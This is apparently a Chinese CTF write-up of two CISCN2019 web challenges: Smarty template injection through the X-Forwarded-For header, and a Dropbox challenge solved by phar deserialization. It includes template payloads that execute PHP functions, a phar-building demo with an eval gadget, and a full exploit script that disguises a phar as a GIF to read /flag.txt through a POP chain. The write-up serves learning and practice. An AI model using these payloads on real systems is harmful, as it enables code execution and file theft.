[CISCN2019 华东南赛区]Web11
smarty模板注入 更改x-forwarded-for会有不同回显,猜测注入点在这,进行注入,百度了一下smarty模板,说是可以识别php语法:
尝试payload:
没啥问题
值得注意的是:之前整理过的关于smarty模板注入的语句用不了因为,,那个版本比较落后
1
| {self::getStreamVariable("file:///proc/self/loginuid")}
|
就是这个,原因:3.1.30的Smarty版本中官方已经把该静态方法删除
其他解题语句:
1 2 3 4 5 6 7 8 9 10
| {if}标签 官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*
既然全部的PHP函数都可以使用,那么我们是否可以利用此来执行我们的代码呢?
将XFF头改为{if phpinfo()}{/if},可以看到题目执行了phpinfo()
原文链接:https://blog.csdn.net/qq_45521281/article/details/107556915
|
[CISCN2019 华北赛区 Day1 Web1]Dropbox
题目提示phar,记得是反序列化的内容:看看有无源码:没找到,上传一下文件,发现可以下载,尝试看看能不能修改下载位置,——存在任意文件下载漏洞,
下载得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?>
<!DOCTYPE html> <html>
<meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>网盘管理</title>
<head> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <link href="static/css/panel.css" rel="stylesheet"> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> <script src="static/js/panel.js"></script> </head>
<body> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item active">管理面板</li> <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li> <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li> </ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div>
<?php include "class.php";
$a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
| <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
还有一个class.php,downloa.php也逃不了
审计审计~
看了一圈没看到反序列化的函数,回去仔细看了看phar反序列化
phar反序列化原理
phar://也是流包装的一种
a stub
可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
|
访问后,会生成一个phar.phar在当前目录下。
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
phar_fan.php
1 2 3 4 5 6 7 8 9
| <?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?>
|
输出hu3sky
利用点
前面说道,php识别phar文件是通过其文件头的stub,就是那段代码,对其他是没有要求的,也就意味着,我们可以将phar文件伪装成其他格式的文件!
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject {
} $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //将自定义meta-data存入manifest $phar -> stopBuffering(); ?>
|
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| eval.php <?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
|
理解一下:phar的实现过程应该为,我们创建一个phar文件,对于这个类的meta—data是以序列化的形式存储的
当你读取他是则会进行反序列化输出:
补充几点:
1.phar是一个压缩文件,里面存放着我们要压缩的文件以及一些存储的属性头信息(以序列化的形式存在)之类,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化
利用条件
1.phar文件要能够上传到服务器端。
2.如file_exists(),fopen(),file_get_contents(),file()
等文件操作的函数要有可用的魔术方法作为”跳板”。
3.文件操作函数的参数可控,且::、/、phar
等特殊字符没有被过滤。
问题:这个有可用的魔术方法做跳板是为啥?
指的是使用文件操作函数的魔术方法跳板吗?——是的
实战
总觉得还是有哪里懵懵的
有可用的魔术方法做跳板按照我的理解是,我们的读取phar反序列化出来的内容
审计下代码,构造一下pop:
1 2 3 4
| public function close() { return file_get_contents($this->filename); } }
|
1 2 3
| public function __destruct() { $this->db->close(); }
|
1 2 3 4 5 6
| public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
|
pop链如下:
db(file)->close()=>__call($file(file)->close())=>file_get_contents=>FileList里面的destruct输出回到页面上(当然,这里是我们要构造入文件内令其反序列化的内容)
1.构造phar文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class User{ public $db; } class FileList { private $files;
public function __construct() { $this->files = array(new File()); } } class File{ public $filename='/flag.txt'; } $user = new User(); $user->db=new FileList(); $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> addFromString('test.txt','test'); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> setMetadata($user); $phar -> stopBuffering();
|
不知道为啥下午尝试的时候就是没法出flag,因此还去和wp对比了一下 发现也没啥不同的呀?然后补充一个download.php中的ini_setini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);
这个函数执行后,我们通过Web只能访问当前目录、/etc和/tmp三个目录,所以只能在delete.php中利用payload,而不是download.php。
补充第二个点,一直不是很清楚在哪里解析了phar://于是在本地跑了一下
原来是在这,然后接下来尽管返回的false,但是phar已经被解析了,接下来就会继续执行反序列化操作,进入我们构造的链了
小结
首先是思路小结:
其实是因为一开始题目提示phar,所以自然而然就联想到要去找源码,看看序列化的点,所以此时就不会想到在登录框sql注入浪费时间,接下来尝试了各种功能,抓包,发现下载文件是可控的,所以接下来下载源码来审计,构造反序列语句就可以了
phar学习小结
1.phar是一个压缩文件,我们构造的内容会以文件属性的形式序列化后存在于文件头中
2.phar在被使用过程中会进行反序列化操作,例如,读取文件,查询文件是否存在,总之就是上面那几个文件函数,所以这个思路就是如何让我们的文件被读取?
3.我们传入的删除文件的操作